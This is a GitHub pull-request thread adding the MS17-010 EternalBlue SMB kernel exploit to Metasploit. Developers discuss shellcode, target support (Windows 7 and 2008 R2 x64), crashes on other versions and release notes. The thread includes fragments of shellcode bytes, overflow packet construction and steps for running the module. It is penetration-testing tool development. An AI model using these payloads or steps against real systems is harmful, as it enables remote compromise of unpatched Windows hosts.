exploit/windows/smb/ms17_010_eternalblue #8381
Conversation
|
Right out of the box. Beautiful. Now for the cleanup! |
| "\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89\xCB\x41\xBB\x66" + | ||
| "\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB\x49\x8B\x0E\x41" + | ||
| "\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89\xC6\xE8\x50\x01" + | ||
| "\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49\x8B\x1E\x4D\x8D" + |
There was a problem hiding this comment.
Hopefully when this binary blob gets split apart, the process hash here can be configurable.
There was a problem hiding this comment.
That is the plan yes! It will also need to use the offsets in the Target options.
|
Added docs, they aren't representative of the current state, but where we want to be. And the language is not harmful for current use. |
ghost
changed the title
|
Sticking the delayed tag on here so it doesn't get merged prematurely. Code is already out there, so people can use it as much as they like. Exploit-DB and Packet Storm: please don't archive this just yet. :-) |
|
|
||
| smb_eternalblue(datastore['ProcessName'], grooms) | ||
|
|
||
| # we don't need this sleep, and need to find a way to remove it |
There was a problem hiding this comment.
Don't have a good answer for this yet, since what you've done is pretty much SOP. However, you shouldn't need to run handler explicitly, since it should already be started. Also, you can use session_created? instead of session_count below.
|
I pushed new shellcode, specifically it does the dynamic search for ETHREAD.ThreadListEntry instead of the fixed offset. Some people passed me some crash dumps and I think this is needed to for the multiple service pack support. Please retest. I also added a better sleep mechanism for the session created thing. Now if a session is created and staged immediately, you don't have to wait the full 5 seconds. |
|
Still working here as of the latest commit. |
|
Same for me. It now should support Windows 7, at least I'm being told people are now popping shells who were crashing before. The offsets for 2008 were apparently different. |
|
@bcoles tested Win7 SP1 successfully. Currently spinning up my setup. |
|
Tested first commit on Windows 7 SP1 x64 successfully. Worked first time. Tested latest commit on Windows 7 SP1 x64 successfully. Worked first time. |
|
Yea XP support is not in yet, nor is x86 (the two will go hand in hand). So it doesn't surprise me it fails. The main overflow packet will be sent, but the SMB2 packets (payload) won't be processed as SMB2 is Vista+. The original exploit does the payload grooms with SMB1 packets for XP but I haven't yet gotten to it. As such, XP is not yet in the Targets. We can eventually do SMB header fingerprinting so that people won't BSOD because of wrong Target. Also, while we can't detect the CPU arch from SMB headers, we can silently fail. Ideally I'd like to just have a multi-arch userland payload, but I don't think that's supported yet. |
|
Unsurprisingly, didn't work on Windows Server 2003 R2. However, it didn't BSOD either, so that's something. |
|
It not crashing on 2k3 R2 is actually more worrisome. No crash no exploit! Weird since 2003 and 2003 R2 are both NT 5.2. XP is 5.1. Do the EQGRP tools infect 2003 and 2003 R2 with DoPu? |
|
Windows Server 2003 R2 does in fact blue screen. But not always.
|
|
@zerosum0x0 you can't detect the OS arch via SMB headers but you can detect it using an RPC connection (no auth required): Here's an example implementation using Impacket: Don't know if this is useful or not, just thought I'd leave this here in case you haven't come across it. Cheers & awesome work! |
|
Tested against: |
|
@byt3bl33d3r nice catch, we can print a warning if the payload doesn't match. Maybe VerifyVersion and VerifyArch bool options (advanced?), so you don't shoot a 2008 x64 at XP x86. Eventually remove VerifyArch if userland payloads become multi-arch I'm also going to add the print statement FuzzBunch has that spills the banner version. |
|
|
||
| pkt << "\x41" * 2957 | ||
|
|
||
| pkt << "\x80\x00\xa8\x00" # overflow |
There was a problem hiding this comment.
Is this value expected to change or is it required to be exactly this in order for the EB exploit to work?
There was a problem hiding this comment.
This value can be changed without BSOD. But if you change it no shells will be popped.
|
Changed it to GoodRanking per @egypt |
|
Hi, I am using a x86 Windows 7 SP1 and it never works for me. I don't have a lot of information right now, but here's some from WinDBG, I hope it helps: |
|
Don't think x86 is supported yet, needs to be x64 i believe... |
|
Yeah, x86 isn't supported yet. Merging now. See y'all in the next PR. |
|
Reading sinners x86 comment made me dig into the dox. On the dox page it indicates that the exploit module works on win 7 x86 all service packs. Typo or maybe it means the leaked exploits supports it but the module does not at this time. a one liner to clarify that if thats indeed the case would avoid confusion. Thx! |
|
Yeah, @wchen-r7 noticed that as well. We didn't notice until after the early merge. The reasoning was explained above: #8381 (comment). It makes less sense now that we've already merged the PR, so we should probably make note of that in the doc. |
|
Fixed in 21e741b. |
ghost
deleted the
|
Cool thx |
|
@wvu-r7 is the sploit supposed to be x64 only? |
|
@lance0: We literally answered that in this thread, even yesterday. x86 support is not finished yet. |
|
Also, arm is not supported, nor mips, alpha, or powerpc (all theoretical if you go back far enough in Windows history I guess :P) - happy to accept PRs though. |
|
@wvu-r7 sorry I saw it after I posted, too big of a lunch made brain go to a crawl. |
|
Lol, no problem. Cheers! |
|
For those that haven't seen it yet: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e |
|
There is a new PR @ #8399 |
|
Ah missed that, thanks @zerosum0x0 ! |
Release NotesThe exploits/windows/smb/ms17_010_eternalblue module has been added to the framework. The exploit was originally written by the Equation Group (NSA). It allows you to gain access as SYSTEM, the highest Windows user mode privilege, and obtain full control of the kernel in ring 0. The exploit currently only works on Windows 7 (x64) and Windows 2008 R2 (x64). |
|
@alrosenthal-r7 please double check the supported targets. I think this module only supports Windows 7x64 and windows 2K8r2 (x64). The underlying exploit in wannacry works on a lot more, but unless I'm mistaken, this module only works with 64-bit versions of windows kernel 6.1.* (I guess it might work on windows home server 2011 for all that would matter...?). |
|
@bwatters-r7 thanks for the catch! |
|
I dropped the ball on this one. So much for catching up with all my release notes. Terribly sorry. |
|
It can be performed on WAN ? |
|
I'm locking this thread. Not a support forum, folks. Ask on IRC or the Rapid7 Community site. File a ticket if it's a bug. Don't file a duplicate. |
Adds MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit module, part of the Equation Group FuzzBunch leaks by Shadow Brokers, reversed/ported by myself and @jennamagius
There is more discussions at #8269
There are a few things that still need to be cleaned up:
auxiliary/scanner/smb/smb_ms17_010into a MS17-010 mixin, and use it as thecheck()for this module. A DoublePulsar module, and others, can also re-use this code.Verification
List the steps needed to make sure this thing works
msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset RHOSTto Windows 7/2008 x64set PAYLOADexploit